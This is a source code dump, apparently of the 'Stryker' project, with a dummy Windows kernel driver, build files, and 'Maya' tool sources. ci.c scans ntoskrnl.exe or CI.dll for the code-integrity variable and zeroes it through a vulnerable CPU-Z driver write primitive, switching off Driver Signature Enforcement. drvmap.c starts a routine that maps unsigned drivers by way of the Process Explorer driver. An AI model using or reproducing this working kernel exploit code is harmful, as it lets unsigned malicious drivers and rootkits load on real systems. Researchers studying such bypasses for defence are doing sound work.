60 | sIrql = L"HIGH_LEVEL";
61 | break;
62 | default:
63 | sIrql = L"Unknown Value";
64 | break;
65 | }
66 | DbgPrint("KeGetCurrentIrql=%u(%ws)\n", Irql, sIrql);
67 | }
68 |
69 | /*
70 | * DevioctlDispatch
71 | *
72 | * Purpose:
73 | *
74 | * IRP_MJ_DEVICE_CONTROL dispatch.
75 | *
76 | */
77 | NTSTATUS DevioctlDispatch(
78 | _In_ struct _DEVICE_OBJECT *DeviceObject,
79 | _Inout_ struct _IRP *Irp
80 | )
81 | {
82 | NTSTATUS status = STATUS_SUCCESS;
83 | ULONG bytesIO = 0;
84 | PIO_STACK_LOCATION stack;
85 | BOOLEAN condition = FALSE;
86 | PINOUTPARAM rp, wp;
87 |
88 | UNREFERENCED_PARAMETER(DeviceObject);
89 |
90 | #ifdef DEBUGPRINT
91 | DbgPrint("%s IRP_MJ_DEVICE_CONTROL", __FUNCTION__);
92 | #endif
93 |
94 | stack = IoGetCurrentIrpStackLocation(Irp);
95 |
96 | do {
97 |
98 | if (stack == NULL) {
99 | status = STATUS_INTERNAL_ERROR;
100 | break;
101 | }
102 |
103 | rp = (PINOUTPARAM)Irp->AssociatedIrp.SystemBuffer;
104 | wp = (PINOUTPARAM)Irp->AssociatedIrp.SystemBuffer;
105 | if (rp == NULL) {
106 | status = STATUS_INVALID_PARAMETER;
107 | break;
108 | }
109 |
110 | switch (stack->Parameters.DeviceIoControl.IoControlCode) {
111 | case DUMMYDRV_REQUEST1:
112 |
113 | #ifdef DEBUGPRINT
114 | DbgPrint("%s DUMMYDRV_REQUEST1 hit", __FUNCTION__);
115 | #endif
116 | if (stack->Parameters.DeviceIoControl.InputBufferLength != sizeof(INOUT_PARAM)) {
117 | status = STATUS_INVALID_PARAMETER;
118 | break;
119 | }
120 |
121 | #ifdef DEBUGPRINT
122 | DbgPrint("%s in params = %lx, %lx, %lx, %lx", __FUNCTION__,
123 | rp->Param1, rp->Param2, rp->Param3, rp->Param4);
124 | #endif
125 |
126 | wp->Param1 = 11111111;
127 | wp->Param2 = 22222222;
128 | wp->Param3 = 33333333;
129 | wp->Param4 = 44444444;
130 |
131 | status = STATUS_SUCCESS;
132 | bytesIO = sizeof(INOUT_PARAM);
133 |
134 | break;
135 |
136 | default:
137 |
138 | #ifdef DEBUGPRINT
139 | DbgPrint("%s hit with invalid IoControlCode", __FUNCTION__);
140 | #endif
141 | status = STATUS_INVALID_PARAMETER;
142 | };
143 |
144 | } while (condition);
145 |
146 | Irp->IoStatus.Status = status;
147 | Irp->IoStatus.Information = bytesIO;
148 | IoCompleteRequest(Irp, IO_NO_INCREMENT);
149 | return status;
150 | }
151 |
152 | /*
153 | * UnsupportedDispatch
154 | *
155 | * Purpose:
156 | *
157 | * Unused IRP_MJ_* dispatch.
158 | *
159 | */
160 | NTSTATUS UnsupportedDispatch(
161 | _In_ struct _DEVICE_OBJECT *DeviceObject,
162 | _Inout_ struct _IRP *Irp
163 | )
164 | {
165 | UNREFERENCED_PARAMETER(DeviceObject);
166 |
167 | Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;
168 | IoCompleteRequest(Irp, IO_NO_INCREMENT);
169 | return Irp->IoStatus.Status;
170 | }
171 |
172 | /*
173 | * CreateDispatch
174 | *
175 | * Purpose:
176 | *
177 | * IRP_MJ_CREATE dispatch.
178 | *
179 | */
180 | NTSTATUS CreateDispatch(
181 | _In_ struct _DEVICE_OBJECT *DeviceObject,
182 | _Inout_ struct _IRP *Irp
183 | )
184 | {
185 | UNREFERENCED_PARAMETER(DeviceObject);
186 |
187 | #ifdef DEBUGPRINT
188 | DbgPrint("%s Create", __FUNCTION__);
189 | #endif
190 |
191 | IoCompleteRequest(Irp, IO_NO_INCREMENT);
192 | return Irp->IoStatus.Status;
193 | }
194 |
195 | /*
196 | * CloseDispatch
197 | *
198 | * Purpose:
199 | *
200 | * IRP_MJ_CLOSE dispatch.
201 | *
202 | */
203 | NTSTATUS CloseDispatch(
204 | _In_ struct _DEVICE_OBJECT *DeviceObject,
205 | _Inout_ struct _IRP *Irp
206 | )
207 | {
208 | UNREFERENCED_PARAMETER(DeviceObject);
209 |
210 | #ifdef DEBUGPRINT
211 | DbgPrint("%s Close", __FUNCTION__);
212 | #endif
213 |
214 | IoCompleteRequest(Irp, IO_NO_INCREMENT);
215 | return Irp->IoStatus.Status;
216 | }
217 |
218 | /*
219 | * DriverInitialize
220 | *
221 | * Purpose:
222 | *
223 | * Driver main.
224 | *
225 | */
226 | NTSTATUS DriverInitialize(
227 | _In_ struct _DRIVER_OBJECT *DriverObject,
228 | _In_ PUNICODE_STRING RegistryPath
229 | )
230 | {
231 | NTSTATUS status;
232 | UNICODE_STRING SymLink, DevName;
233 | PDEVICE_OBJECT devobj;
234 | ULONG t;
235 |
236 | //RegistryPath is NULL
237 | UNREFERENCED_PARAMETER(RegistryPath);
238 |
239 | #ifdef DEBUGPRINT
240 | DbgPrint("%s\n", __FUNCTION__);
241 | #endif
242 |
243 | RtlInitUnicodeString(&DevName, L"\\Device\\TDLD");
244 | status = IoCreateDevice(DriverObject, 0, &DevName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, TRUE, &devobj);
245 |
246 | #ifdef DEBUGPRINT
247 | DbgPrint("%s IoCreateDevice(%wZ) = %lx\n", __FUNCTION__, DevName, status);
248 | #endif
249 |
250 | if (!NT_SUCCESS(status)) {
251 | return status;
252 | }
253 |
254 | RtlInitUnicodeString(&SymLink, L"\\DosDevices\\TDLD");
255 | status = IoCreateSymbolicLink(&SymLink, &DevName);
256 |
257 | #ifdef DEBUGPRINT
258 | DbgPrint("%s IoCreateSymbolicLink(%wZ) = %lx\n", __FUNCTION__, SymLink, status);
259 | #endif
260 |
261 | devobj->Flags |= DO_BUFFERED_IO;
262 |
263 | for (t = 0; t <= IRP_MJ_MAXIMUM_FUNCTION; t++)
264 | DriverObject->MajorFunction[t] = &UnsupportedDispatch;
265 |
266 | DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = &DevioctlDispatch;
267 | DriverObject->MajorFunction[IRP_MJ_CREATE] = &CreateDispatch;
268 | DriverObject->MajorFunction[IRP_MJ_CLOSE] = &CloseDispatch;
269 | DriverObject->DriverUnload = NULL; //nonstandard way of driver loading, no unload
270 |
271 | devobj->Flags &= ~DO_DEVICE_INITIALIZING;
272 | return status;
273 | }
274 |
275 | /*
276 | * DriverEntry
277 | *
278 | * Purpose:
279 | *
280 | * Driver base entry point.
281 | *
282 | */
283 | NTSTATUS DriverEntry(
284 | _In_ struct _DRIVER_OBJECT *DriverObject,
285 | _In_ PUNICODE_STRING RegistryPath
286 | )
287 | {
288 | NTSTATUS status;
289 | UNICODE_STRING drvName;
290 |
291 | /* This parameters are invalid due to nonstandard way of loading and should not be used. */
292 | UNREFERENCED_PARAMETER(DriverObject);
293 | UNREFERENCED_PARAMETER(RegistryPath);
294 |
295 | PrintIrql();
296 |
297 | #ifdef DEBUGPRINT
298 | DbgPrint("%s\n", __FUNCTION__);
299 | #endif
300 |
301 | RtlInitUnicodeString(&drvName, L"\\Driver\\TDLD");
302 | status = IoCreateDriver(&drvName, &DriverInitialize);
303 |
304 | #ifdef DEBUGPRINT
305 | DbgPrint("%s IoCreateDriver(%wZ) = %lx\n", __FUNCTION__, drvName, status);
306 | #endif
307 |
308 | return status;
309 | }
310 |
--------------------------------------------------------------------------------
/src/DummyDrv2/dummy/main.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2016 - 2017
4 | *
5 | * TITLE: MAIN.H
6 | *
7 | * VERSION: 1.01
8 | *
9 | * DATE: 20 Apr 2017
10 | *
11 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
12 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
13 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
14 | * PARTICULAR PURPOSE.
15 | *
16 | *******************************************************************************/
17 |
18 | #pragma once
19 |
20 | NTKERNELAPI
21 | NTSTATUS
22 | IoCreateDriver(
23 | IN PUNICODE_STRING DriverName, OPTIONAL
24 | IN PDRIVER_INITIALIZE InitializationFunction
25 | );
26 |
27 | _Dispatch_type_(IRP_MJ_DEVICE_CONTROL)
28 | DRIVER_DISPATCH DevioctlDispatch;
29 | _Dispatch_type_(IRP_MJ_CREATE)
30 | DRIVER_DISPATCH CreateDispatch;
31 | _Dispatch_type_(IRP_MJ_CLOSE)
32 | DRIVER_DISPATCH CloseDispatch;
33 |
34 | _Dispatch_type_(IRP_MJ_CREATE)
35 | _Dispatch_type_(IRP_MJ_CREATE_NAMED_PIPE)
36 | _Dispatch_type_(IRP_MJ_CLOSE)
37 | _Dispatch_type_(IRP_MJ_READ)
38 | _Dispatch_type_(IRP_MJ_WRITE)
39 | _Dispatch_type_(IRP_MJ_QUERY_INFORMATION)
40 | _Dispatch_type_(IRP_MJ_SET_INFORMATION)
41 | _Dispatch_type_(IRP_MJ_QUERY_EA)
42 | _Dispatch_type_(IRP_MJ_SET_EA)
43 | _Dispatch_type_(IRP_MJ_FLUSH_BUFFERS)
44 | _Dispatch_type_(IRP_MJ_QUERY_VOLUME_INFORMATION)
45 | _Dispatch_type_(IRP_MJ_SET_VOLUME_INFORMATION)
46 | _Dispatch_type_(IRP_MJ_DIRECTORY_CONTROL)
47 | _Dispatch_type_(IRP_MJ_FILE_SYSTEM_CONTROL)
48 | _Dispatch_type_(IRP_MJ_DEVICE_CONTROL)
49 | _Dispatch_type_(IRP_MJ_INTERNAL_DEVICE_CONTROL)
50 | _Dispatch_type_(IRP_MJ_SHUTDOWN)
51 | _Dispatch_type_(IRP_MJ_LOCK_CONTROL)
52 | _Dispatch_type_(IRP_MJ_CLEANUP)
53 | _Dispatch_type_(IRP_MJ_CREATE_MAILSLOT)
54 | _Dispatch_type_(IRP_MJ_QUERY_SECURITY)
55 | _Dispatch_type_(IRP_MJ_SET_SECURITY)
56 | _Dispatch_type_(IRP_MJ_POWER)
57 | _Dispatch_type_(IRP_MJ_SYSTEM_CONTROL)
58 | _Dispatch_type_(IRP_MJ_DEVICE_CHANGE)
59 | _Dispatch_type_(IRP_MJ_QUERY_QUOTA)
60 | _Dispatch_type_(IRP_MJ_SET_QUOTA)
61 | _Dispatch_type_(IRP_MJ_PNP)
62 | DRIVER_DISPATCH UnsupportedDispatch;
63 |
64 | DRIVER_INITIALIZE DriverInitialize;
65 | DRIVER_INITIALIZE DriverEntry;
66 | #pragma alloc_text(INIT, DriverEntry)
67 |
68 | #define DUMMYDRV_REQUEST1 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0701, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
69 |
70 | typedef struct _INOUT_PARAM {
71 | ULONG Param1;
72 | ULONG Param2;
73 | ULONG Param3;
74 | ULONG Param4;
75 | } INOUT_PARAM, *PINOUTPARAM;
76 |
--------------------------------------------------------------------------------
/src/DummyDrv2/dummy/r3request.c:
--------------------------------------------------------------------------------
1 | typedef struct _INOUT_PARAM{
2 | ULONG Param1;
3 | ULONG Param2;
4 | ULONG Param3;
5 | ULONG Param4;
6 | } INOUT_PARAM, *PINOUT_PARAM;
7 |
8 | #define DUMMYDRV_REQUEST1 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0701, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
9 |
10 | VOID test(
11 | VOID
12 | )
13 | {
14 | HANDLE h;
15 | INOUT_PARAM tmp;
16 | DWORD bytesIO;
17 |
18 | h = CreateFile(TEXT("\\\\.\\TDLD"), GENERIC_READ | GENERIC_WRITE,
19 | FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
20 | if (h != INVALID_HANDLE_VALUE) {
21 |
22 | tmp.Param1 = 0xAAAAAAAA;
23 | tmp.Param2 = 0xBBBBBBBB;
24 | tmp.Param3 = 0xCCCCCCCC;
25 | tmp.Param4 = 0xDDDDDDDD;
26 |
27 | DeviceIoControl(h, DUMMYDRV_REQUEST1,
28 | &tmp, sizeof(tmp), &tmp,
29 | sizeof(tmp), &bytesIO, NULL);
30 |
31 | CloseHandle(h);
32 | }
33 |
34 | }
--------------------------------------------------------------------------------
/src/Maya/Resource.rc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hfiref0x/Stryker/fcbc4960069dc1e5f8e68892fa184e5b2b0820c9/src/Maya/Resource.rc
--------------------------------------------------------------------------------
/src/Maya/Stryker.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 14
4 | VisualStudioVersion = 14.0.25420.1
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Stryker", "Stryker.vcxproj", "{8F6CAB0D-3F41-4A80-AA04-5FC53E25DE60}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Release|x64 = Release|x64
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {8F6CAB0D-3F41-4A80-AA04-5FC53E25DE60}.Debug|x64.ActiveCfg = Debug|x64
15 | {8F6CAB0D-3F41-4A80-AA04-5FC53E25DE60}.Debug|x64.Build.0 = Debug|x64
16 | {8F6CAB0D-3F41-4A80-AA04-5FC53E25DE60}.Release|x64.ActiveCfg = Release|x64
17 | {8F6CAB0D-3F41-4A80-AA04-5FC53E25DE60}.Release|x64.Build.0 = Release|x64
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | EndGlobal
23 |
--------------------------------------------------------------------------------
/src/Maya/Stryker.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | x64
7 |
8 |
9 | Release
10 | x64
11 |
12 |
13 |
14 | {8F6CAB0D-3F41-4A80-AA04-5FC53E25DE60}
15 | Win32Proj
16 | Stryker
17 | 8.1
18 |
19 |
20 |
21 | Application
22 | true
23 | v140
24 | Unicode
25 |
26 |
27 | Application
28 | false
29 | v140
30 | true
31 | Unicode
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 | true
47 | .\output\$(Platform)\$(Configuration)\
48 | .\output\$(Platform)\$(Configuration)\
49 |
50 |
51 | false
52 | .\output\$(Platform)\$(Configuration)\
53 | .\output\$(Platform)\$(Configuration)\
54 |
55 |
56 |
57 |
58 |
59 | Level4
60 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
61 | CompileAsC
62 | false
63 |
64 |
65 | Console
66 | true
67 | main
68 |
69 |
70 |
71 |
72 | Level4
73 |
74 |
75 | MinSpace
76 | true
77 | true
78 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
79 | CompileAsC
80 | MultiThreaded
81 | true
82 | false
83 |
84 |
85 | Console
86 | true
87 | true
88 | false
89 | main
90 | true
91 | 6.0
92 | RequireAdministrator
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
--------------------------------------------------------------------------------
/src/Maya/Stryker.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {46d93336-71e0-4b44-88f5-359455c302a6}
18 |
19 |
20 | {cc5fcea4-0737-4b0d-9be4-4cd871872ef9}
21 |
22 |
23 | {1aaa720a-e2d2-43c7-b440-8ef3f222d750}
24 |
25 |
26 |
27 |
28 | Source Files
29 |
30 |
31 | Source Files
32 |
33 |
34 | minirtl
35 |
36 |
37 | minirtl
38 |
39 |
40 | minirtl
41 |
42 |
43 | minirtl
44 |
45 |
46 | minirtl
47 |
48 |
49 | Source Files
50 |
51 |
52 | Source Files
53 |
54 |
55 | Source Files
56 |
57 |
58 | Source Files
59 |
60 |
61 | Source Files
62 |
63 |
64 | Source Files
65 |
66 |
67 | Source Files
68 |
69 |
70 | minirtl
71 |
72 |
73 | hde
74 |
75 |
76 | minirtl
77 |
78 |
79 | Header Files
80 |
81 |
82 | minirtl
83 |
84 |
85 | minirtl
86 |
87 |
88 | minirtl
89 |
90 |
91 | Source Files
92 |
93 |
94 | Source Files
95 |
96 |
97 | minirtl
98 |
99 |
100 | minirtl
101 |
102 |
103 |
104 |
105 | ntos
106 |
107 |
108 | Header Files
109 |
110 |
111 | minirtl
112 |
113 |
114 | minirtl
115 |
116 |
117 | Header Files
118 |
119 |
120 | Header Files
121 |
122 |
123 | Header Files
124 |
125 |
126 | Header Files
127 |
128 |
129 | Header Files
130 |
131 |
132 | Header Files
133 |
134 |
135 | Header Files
136 |
137 |
138 | Header Files
139 |
140 |
141 | hde
142 |
143 |
144 | hde
145 |
146 |
147 | hde
148 |
149 |
150 | Header Files
151 |
152 |
153 | Header Files
154 |
155 |
156 | Header Files
157 |
158 |
159 | Header Files
160 |
161 |
162 | Header Files
163 |
164 |
165 |
166 |
167 | Resource Files
168 |
169 |
170 |
--------------------------------------------------------------------------------
/src/Maya/Stryker.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | WindowsLocalDebugger
7 |
8 |
9 |
10 |
11 | WindowsLocalDebugger
12 |
13 |
--------------------------------------------------------------------------------
/src/Maya/ci.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: CI.C
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * CI related routines.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 |
20 | #include "global.h"
21 |
22 | /*
23 | * QueryCiEnabled
24 | *
25 | * Purpose:
26 | *
27 | * Find g_CiEnabled variable address.
28 | *
29 | */
30 | LONG QueryCiEnabled(
31 | _In_ PVOID MappedBase,
32 | _In_ SIZE_T SizeOfImage,
33 | _Inout_ ULONG_PTR *KernelBase
34 | )
35 | {
36 | SIZE_T c;
37 | LONG rel = 0;
38 |
39 | for (c = 0; c < SizeOfImage - sizeof(DWORD); c++) {
40 | if (*(PDWORD)((PBYTE)MappedBase + c) == 0x1d8806eb) {
41 | rel = *(PLONG)((PBYTE)MappedBase + c + 4);
42 | *KernelBase = *KernelBase + c + 8 + rel;
43 | break;
44 | }
45 | }
46 |
47 | return rel;
48 | }
49 |
50 | /*
51 | * QueryCiOptions
52 | *
53 | * Purpose:
54 | *
55 | * Find g_CiOptions variable address.
56 | *
57 | */
58 | LONG QueryCiOptions(
59 | _In_ PVOID MappedBase,
60 | _Inout_ ULONG_PTR *KernelBase
61 | )
62 | {
63 | PBYTE CiInitialize = NULL;
64 | ULONG c, j = 0;
65 | LONG rel = 0;
66 | hde64s hs;
67 |
68 | CiInitialize = (PBYTE)GetProcAddress(MappedBase, "CiInitialize");
69 | if (CiInitialize == NULL)
70 | return 0;
71 |
72 | if (g_NtBuildNumber > 16199) {
73 |
74 | c = 0;
75 | j = 0;
76 | do {
77 |
78 | /* call CipInitialize */
79 | if (CiInitialize[c] == 0xE8)
80 | j++;
81 |
82 | if (j > 1) {
83 | rel = *(PLONG)(CiInitialize + c + 1);
84 | break;
85 | }
86 |
87 | hde64_disasm(CiInitialize + c, &hs);
88 | if (hs.flags & F_ERROR)
89 | break;
90 | c += hs.len;
91 |
92 | } while (c < 256);
93 |
94 | }
95 | else {
96 |
97 | c = 0;
98 | do {
99 |
100 | /* jmp CipInitialize */
101 | if (CiInitialize[c] == 0xE9) {
102 | rel = *(PLONG)(CiInitialize + c + 1);
103 | break;
104 | }
105 | hde64_disasm(CiInitialize + c, &hs);
106 | if (hs.flags & F_ERROR)
107 | break;
108 | c += hs.len;
109 |
110 | } while (c < 256);
111 |
112 | }
113 |
114 | CiInitialize = CiInitialize + c + 5 + rel;
115 | c = 0;
116 | do {
117 |
118 | if (*(PUSHORT)(CiInitialize + c) == 0x0d89) {
119 | rel = *(PLONG)(CiInitialize + c + 2);
120 | break;
121 | }
122 | hde64_disasm(CiInitialize + c, &hs);
123 | if (hs.flags & F_ERROR)
124 | break;
125 | c += hs.len;
126 |
127 | } while (c < 256);
128 |
129 | CiInitialize = CiInitialize + c + 6 + rel;
130 |
131 | *KernelBase = *KernelBase + CiInitialize - (PBYTE)MappedBase;
132 |
133 | return rel;
134 | }
135 |
136 | /*
137 | * ciQueryVariable
138 | *
139 | * Purpose:
140 | *
141 | * Find variable address.
142 | * Depending on NT version search in ntoskrnl.exe or ci.dll
143 | *
144 | */
145 | ULONG_PTR ciQueryVariable(
146 | VOID
147 | )
148 | {
149 | LONG rel = 0;
150 | SIZE_T SizeOfImage = 0;
151 | ULONG_PTR Result = 0, ModuleKernelBase = 0;
152 | CHAR *szModuleName;
153 | WCHAR *wszErrorEvent, *wszSuccessEvent;
154 | PVOID MappedBase = NULL;
155 |
156 | CHAR szFullModuleName[MAX_PATH * 2];
157 |
158 | if (g_NtBuildNumber < 9200) {
159 | szModuleName = NTOSKRNL_EXE;
160 | wszErrorEvent = TEXT("\r\n[!] ntoskrnl.exe loaded image base not recognized\r\n");
161 | wszSuccessEvent = TEXT("\r\n[+] ntoskrnl.exe loaded for pattern search");
162 | }
163 | else {
164 | szModuleName = CI_DLL;
165 | wszErrorEvent = TEXT("\r\n[!] CI.dll loaded image base not recognized\r\n");
166 | wszSuccessEvent = TEXT("\r\n[+] CI.dll loaded for pattern search");
167 | }
168 |
169 |
170 | ModuleKernelBase = supGetModuleBaseByName(szModuleName);
171 | if (ModuleKernelBase == 0) {
172 | supPrintText(wszErrorEvent);
173 | return 0;
174 | }
175 |
176 | szFullModuleName[0] = 0;
177 | if (!GetSystemDirectoryA(szFullModuleName, MAX_PATH))
178 | return 0;
179 | _strcat_a(szFullModuleName, "\\");
180 | _strcat_a(szFullModuleName, szModuleName);
181 |
182 | MappedBase = LoadLibraryExA(szFullModuleName, NULL, DONT_RESOLVE_DLL_REFERENCES);
183 | if (MappedBase) {
184 |
185 | supPrintText(wszSuccessEvent);
186 |
187 | if (g_NtBuildNumber < 9200) {
188 | rel = QueryCiEnabled(
189 | MappedBase,
190 | SizeOfImage,
191 | &ModuleKernelBase);
192 |
193 | }
194 | else {
195 | rel = QueryCiOptions(
196 | MappedBase,
197 | &ModuleKernelBase);
198 | }
199 |
200 | if (rel != 0) {
201 | Result = ModuleKernelBase;
202 | }
203 | FreeLibrary(MappedBase);
204 | }
205 | else {
206 |
207 | //
208 | // Output error.
209 | //
210 | if (g_NtBuildNumber < 9200) {
211 | wszErrorEvent = TEXT("\r\n[!] Cannot load ntoskrnl.exe\r\n");
212 | }
213 | else {
214 | wszErrorEvent = TEXT("\r\n[!] Cannot load CI.dll\r\n");
215 | }
216 |
217 | supPrintText(wszErrorEvent);
218 | }
219 |
220 | return Result;
221 | }
222 |
223 | /*
224 | * ControlDSE
225 | *
226 | * Purpose:
227 | *
228 | * Change ntoskrnl.exe g_CiEnabled or CI.dll g_CiOptions state.
229 | *
230 | */
231 | BOOL ControlDSE(
232 | _In_ BOOL EnableDSE
233 | )
234 | {
235 | BOOL bResult = FALSE;
236 | ULONG_PTR CiAddress;
237 |
238 | ULONG Value;
239 |
240 | WCHAR szMsg[MAX_PATH];
241 |
242 | ULONG returnLength = 0;
243 | NTSTATUS status;
244 | SYSTEM_CODEINTEGRITY_INFORMATION state;
245 |
246 | state.CodeIntegrityOptions = 0;
247 | state.Length = sizeof(state);
248 |
249 | status = NtQuerySystemInformation(SystemCodeIntegrityInformation,
250 | (PVOID)&state, sizeof(SYSTEM_CODEINTEGRITY_INFORMATION),
251 | &returnLength);
252 |
253 | if (NT_SUCCESS(status)) {
254 | if (state.CodeIntegrityOptions & CODEINTEGRITY_OPTION_ENABLED) {
255 | supPrintText(TEXT("\r\n[+] System reports CodeIntegrityOption Enabled"));
256 | }
257 | }
258 |
259 | //
260 | // Assume variable is in nonpaged .data section.
261 | //
262 |
263 | CiAddress = ciQueryVariable();
264 | if (CiAddress == 0) {
265 | supPrintText(TEXT("\r\n[!] Cannot query CI variable address"));
266 | } else {
267 |
268 | _strcpy(szMsg, TEXT("\r\n[+] Writing to address 0x"));
269 | u64tohex(CiAddress, _strend(szMsg));
270 | supPrintText(szMsg);
271 |
272 | if (EnableDSE) {
273 | if (g_NtBuildNumber < 9200)
274 | Value = 1; //simple bool flag
275 | else
276 | Value = 6;
277 | bResult = cpuz_WriteVirtualMemory((DWORD_PTR)CiAddress, &Value, sizeof(Value));
278 | }
279 | else {
280 | Value = 0;
281 | bResult = cpuz_WriteVirtualMemory((DWORD_PTR)CiAddress, &Value, sizeof(Value));
282 | }
283 | if (bResult) {
284 | supPrintText(TEXT("\r\n[+] Kernel memory patched"));
285 | }
286 | else {
287 | supPrintText(TEXT("\r\n[!] Error, kernel memory not patched"));
288 | }
289 | }
290 |
291 | return bResult;
292 | }
293 |
294 |
--------------------------------------------------------------------------------
/src/Maya/ci.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: CI.H
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * CI prototypes and definitions.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 |
20 | #pragma once
21 |
22 | #define NTOSKRNL_EXE "ntoskrnl.exe"
23 | #define CI_DLL "ci.dll"
24 |
25 | BOOL ControlDSE(
26 | _In_ BOOL Enable);
27 |
--------------------------------------------------------------------------------
/src/Maya/drvmap.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: DRVMAP.C
6 | *
7 | * VERSION: 1.01
8 | *
9 | * DATE: 24 Feb 2018
10 | *
11 | * Driver mapping routines.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 | #include "global.h"
20 | #include "irp.h"
21 |
22 | //
23 | // Mark Explorer driver. Simple code, no restrictions, nice signature, small size.
24 | //
25 | #define MR_PE152 L"procexp152"
26 |
27 | #define SCM_DB_KEY L"\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Services\\"
28 |
29 | typedef ULONG(NTAPI *pfnDbgPrint)(
30 | _In_ PCHAR Format,
31 | ...);
32 |
33 | typedef PVOID(NTAPI *pfnExAllocatePool)(
34 | _In_ POOL_TYPE PoolType,
35 | _In_ SIZE_T NumberOfBytes);
36 |
37 | typedef VOID(NTAPI *pfnExFreePool)(
38 | _In_ PVOID P);
39 |
40 | typedef NTSTATUS(NTAPI *pfnPsCreateSystemThread)(
41 | _Out_ PHANDLE ThreadHandle,
42 | _In_ ULONG DesiredAccess,
43 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
44 | _In_opt_ HANDLE ProcessHandle,
45 | _Out_opt_ PCLIENT_ID ClientId,
46 | _In_ PKSTART_ROUTINE StartRoutine,
47 | _In_opt_ PVOID StartContext);
48 |
49 | typedef NTSTATUS(NTAPI *pfnZwClose)(
50 | _In_ HANDLE Handle);
51 |
52 | typedef NTSTATUS(NTAPI *pfnZwOpenKey)(
53 | _Out_ PHANDLE KeyHandle,
54 | _In_ ACCESS_MASK DesiredAccess,
55 | _In_ POBJECT_ATTRIBUTES ObjectAttributes);
56 |
57 | typedef NTSTATUS(NTAPI *pfnZwQueryValueKey)(
58 | _In_ HANDLE KeyHandle,
59 | _In_ PUNICODE_STRING ValueName,
60 | _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
61 | _Out_opt_ PVOID KeyValueInformation,
62 | _In_ ULONG Length,
63 | _Out_ PULONG ResultLength);
64 |
65 | typedef VOID(NTAPI *pfnIofCompleteRequest)(
